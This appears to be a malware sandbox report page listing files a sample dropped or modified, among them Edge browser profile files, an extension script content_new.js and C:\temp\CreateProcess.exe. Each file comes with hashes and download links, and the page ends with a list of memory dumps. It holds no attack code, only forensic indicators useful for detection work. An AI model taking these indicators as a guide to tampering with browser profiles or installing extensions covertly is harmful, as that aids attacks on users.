SHA512 4cbe31eb3db63275d548e1d1e043312f9d99b55d478e5a2071b66a6983ca6df391af9e24057a58bffe41aac9da16faff9309e0bec023d497e020ab8afee0b6ad
SSDEEP 768:v1D8Pw7pLuL7e7WgeEftq8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQRHDZhrrol2ZFS:v1D8P8E7e7WgeEftqu1jazRHNhYb
TLSH
T1A8E2FC7B680CCB7F4F844A9CEC29BD9A6DE401CB96D8CD5447EA880C03C6AEB51175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 27af128015c6019e2f252294b03cc2e51206378060f7f8b5cc9b2b54b7abe264
MD5 8612eabe9b8f9273245bf64296e0a8ed
SHA1 9583c03effedabe8064bab4afe2842ca4610e821
SHA512 5d7824524ddb0c6d6d6c407a5b141498eb6dffcef513e9703b7add6376461386d135857a7a0fa3993c79e10dc071a5719ff14d6d4baa3cff7679d67fdb944415
SSDEEP 24:KkaVCI4IBKehw1iSXItyXduRuw8IhKKhY16SbE0EPkc+IBKchM1KSh61yXgbAc:KwrIBKIwUryl3IhK8YsMJIBKqMMzyy
TLSH
T1B5916441B97E261028BF79098294955E6A4131B7304AB43B7F7C51E22E2BE402FFDCD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9651fa7c-4c13-4f8e-bd94-4001bd699e03.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\9651fa7c-4c13-4f8e-bd94-4001bd699e03.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 402547368bb376d94347d38f82ada725f225306a7ddeb7d04417a1e8bb33206a
MD5 e53f0bfc05ed120c52f21fab8802c9e8
SHA1 80f9c89548d16e5e1e2cb041b7aef48d394d8478
SHA512 8ddd7eed42e03257bd2e99bd0f73fc4578af014f738fc9c17e84d834018a4bcb36a1c84c0ab8d06fc17531244de33680137678bba5f66bf2ce6755e0f2a3e5c0
SSDEEP 768:Sj+9b3SdV95GP3VCgZSVCKPFECrBhpjcNszn12bfJeb:h9b3So8gs0KPF1HRcyByJeb
TLSH
T1B4F2AE31A8E89E634CE7D258B1167386BEB812F392C91F18D9D89B0E45C738D2717C1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 20e1bde9b3ace499d4569b1a18f0fa501618b0a8d873a787ffa309c3baca472f
MD5 21407a66a29c5df5a92c366705775bcd
SHA1 014a67362c86b5372404adb9bb2679d3654e2ab4
SHA512 11ffcfd53c4b4b5f9e86019507daef1ea462c3b498b15fc794593b991623bedec1ff191320bbea63389f1d579ffc12d6f7eb9fd89ae19fbd9eddff7579456862
SSDEEP 768:EF1j+9r33wgx3A9kPHVCgZSVCKPFECrBhpjcNszn12bfJeb:J9r3Lb8gs0KPF1HRcyByJeb
TLSH
T1BE134AF598D78A36D8AE8747A33D6E459DBCC1A3B1891994F7C45E0DCC832BFC206815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 c29831a6ada0f2f6e04d8162eba7a2366871f51228f15d770bc477da9c5cac75
MD5 43576d1acc8670f3e507d1425d235958
SHA1 74e65beb7c59169cc8e0d35fbcf6c04ece765706
SHA512 1294edd8f748f6e543798a502bffec2d1c3ca2095e972a43e9e653e76e36be4409fb1bd18393f3dfa6eb9bdce3c1e4534c6fa3ba35537c50ff00564c72b383a4
SSDEEP 768:Ej+9b353V95GP3VCgZSVCKPFECrBhpjcNszn12bfJeb:T9b35C8gs0KPF1HRcyByJeb
TLSH
T164F2AF31A8E89E635CE7D258B1167386BEB812F392C91F18D9D89B0E45C738D2717C1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 91209843cc12f9eb10e74cf92d2eeda002d96614a4f8c596e83eb66c8b0d8476
MD5 bbd50af9e5dc780ba2842f9da6720066
SHA1 400d90768399a4155f12ea19515ac76d4da09b6c
SHA512 9c5e4879ff3706f14b71e45c9a1735cdb78d9970b4822838350a555b7f49a73cd5553fbb98ea963d986eef2aa15aafb8cad90177d212e8f707045a14e41f5aaf
SSDEEP 768:bjaeqD4MlshiLdMmu31G5GPvVCgZSVCKPFECrBhpjcx0+ApX32TB:bqcjhIdMB3z8gs0KPF1HRcW+KXk
TLSH
T1BE03BF79A8A45EB38C77D245B207B6466EB80297D6C92F8CD8DD6A0D41972CD130382B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

0ada0574-abe6-4dc7-b0a8-16bd14be7222.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\0ada0574-abe6-4dc7-b0a8-16bd14be7222.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir6064_886187111\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 69477fb8ccb14fece02175fd8f434d66a83c4be2f9a7513293c6269835ffeb6a
MD5 cdb6b8832bcf1943295ecf78f9e234e7
SHA1 3476c47bc320462bad6318c20ceaab5914930a60
SHA512 fbc720b9b0dfdbb8e197c579e6efa8fd56da218aa4f3a785006228eecb1a4518bc8e69b80ece22ba194d98049a5d2da71753aff1c796a39e8e69370225605912
TLSH
T15D71238357B9C9B3C1DE5FF002835208F1FB2378076330204B51554AAB34A3E54B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/824-64-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1212-409-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1700-245-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1976-443-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2024-378-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2024-347-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2276-343-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3080-481-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3104-306-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3176-282-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3612-397-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3668-270-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3844-376-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3920-421-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4352-445-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5012-197-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5312-448-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5392-324-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5820-469-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6060-328-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6100-498-0x0000000000010000-0x00000000000AB000-memory.dmp

Download